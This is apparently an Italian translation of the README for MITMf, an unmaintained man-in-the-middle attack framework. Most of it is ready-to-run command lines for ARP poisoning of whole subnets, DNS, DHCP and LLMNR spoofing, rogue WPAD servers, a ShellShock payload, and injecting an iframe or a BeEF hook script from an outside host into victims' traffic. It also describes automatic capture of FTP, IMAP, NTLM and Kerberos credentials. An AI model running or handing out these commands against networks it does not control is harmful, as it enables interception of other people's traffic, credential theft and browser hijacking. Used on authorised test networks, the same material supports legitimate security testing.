Framework per attacchi Man-In-The-Middle
Framework per attacchi Man-In-The-Middle
Questo progetto non viene più aggiornato. MITMf è stato scritto per soddisfare la necessità, all'epoca, di uno strumento moderno per eseguire attacchi Man-In-The-Middle. Da allora molti altri strumenti sono stati creati per colmare questo spazio, probabilmente dovresti usare Bettercap in quanto è molto più completo di funzionalità e meglio mantenuto.
Tutorial rapidi, esempi e aggiornamenti per sviluppatori su: https://byt3bl33d3r.github.io
Questo strumento si basa su sergio-proxy ed è un tentativo di rilanciare e aggiornare il progetto.
Contattami su:
Prima di segnalare problemi, leggi la sezione pertinente sezione nel wiki.
Fai riferimento al wiki per le istruzioni di installazione
MITMf mira a fornire un punto di riferimento unico per attacchi Man-In-The-Middle e di rete, aggiornando e migliorando al contempo gli attacchi e le tecniche esistenti.
Originariamente creato per affrontare le significative carenze di altri strumenti (ad es. Ettercap, Mallory), è stato quasi completamente riscritto da zero per fornire un framework modulare e facilmente estensibile che chiunque possa utilizzare per implementare il proprio attacco MITM.
Il framework contiene un server SMB, HTTP e DNS integrato che può essere controllato e utilizzato dai vari plugin; contiene anche una versione modificata del proxy SSLStrip che consente la modifica HTTP e un bypass parziale di HSTS.
Dalla versione 0.9.8, MITMf supporta il filtraggio e la manipolazione attiva dei pacchetti (essenzialmente ciò che facevano gli etterfilter, ma meglio), consentendo agli utenti di modificare qualsiasi tipo di traffico o protocollo.
Il file di configurazione può essere modificato al volo mentre MITMf è in esecuzione; le modifiche verranno propagate attraverso il framework: ciò consente di modificare le impostazioni dei plugin e dei server durante un attacco.
MITMf catturerà le credenziali FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (tutti i protocolli supportati come HTTP, SMB, LDAP ecc.) e Kerberos utilizzando Net-Creds, che viene eseguito all'avvio.
L'integrazione con Responder consente l'avvelenamento LLMNR, NBT-NS e MDNS e il supporto per server WPAD rogue.
Ora puoi modificare qualsiasi pacchetto/protocollo intercettato da MITMf usando Scapy! (niente più etterfilter! evviva!)
Per esempio, ecco un piccolo filtro stupido che cambia semplicemente l'indirizzo IP di destinazione dei pacchetti ICMP:
if packet.haslayer(ICMP):
log.info('Got an ICMP packet!')
packet.dst = '192.168.1.0'
packet per accedere al pacchetto in formato compatibile con Scapydata per accedere ai dati grezzi del pacchettoOra per usare il filtro tutto ciò che dobbiamo fare è: python mitmf.py -F ~/filter.py
Probabilmente vorrai combinarlo con il plugin Spoof per intercettare effettivamente i pacchetti di qualcun altro ;)
Nota: puoi modificare i filtri al volo senza riavviare MITMf!
L'uso più basilare, avvia il proxy HTTP, i server SMB, DNS, HTTP e Net-Creds sull'interfaccia enp3s0:
python mitmf.py -i enp3s0
Avvelena ARP l'intera subnet con gateway 192.168.1.1 usando il plugin Spoof:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
Come sopra + un server proxy WPAD rogue usando il plugin Responder:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
Avvelena ARP 192.168.1.16-45 e 192.168.0.1/24 con gateway 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
Abilita lo spoofing DNS durante l'avvelenamento ARP (i domini da spoofare vengono letti dal file di configurazione):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
Abilita lo spoofing LLMNR/NBTNS/MDNS:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
Abilita lo spoofing DHCP (il pool IP e la subnet vengono letti dal file di configurazione):
python mitmf.py -i enp3s0 --spoof --dhcp
Come sopra con un payload ShellShock che verrà eseguito se un client è vulnerabile:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Inietta un IFrame HTML usando il plugin Inject:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
Inietta uno script JS:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
Avvia un captive portal che reindirizza tutto a http://SERVER/PATH:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
Avvia il captive portal su http://tuo-ip/portal.html usando la pagina predefinita /portal.html (grazie responder) e /CaptiveClient.exe (non incluso) dalla cartella config/captive:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
Come sopra ma con hostname captive.portal invece dell'IP (richiede che captive.portal risolva al tuo IP, ad es. tramite spoof DNS):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
Fornisci un captive portal con un'istanza aggiuntiva di SimpleHTTPServer che serve LOCALDIR su http://IP:8080 (cambia porta in mitmf.config):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
Come sopra ma con hostname:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
E molto, molto altro!
Ovviamente puoi mescolare quasi tutti i plugin insieme (ad es. ARP spoof + inject + Responder ecc.)
Per un elenco completo delle opzioni disponibili, basta eseguire python mitmf.py --help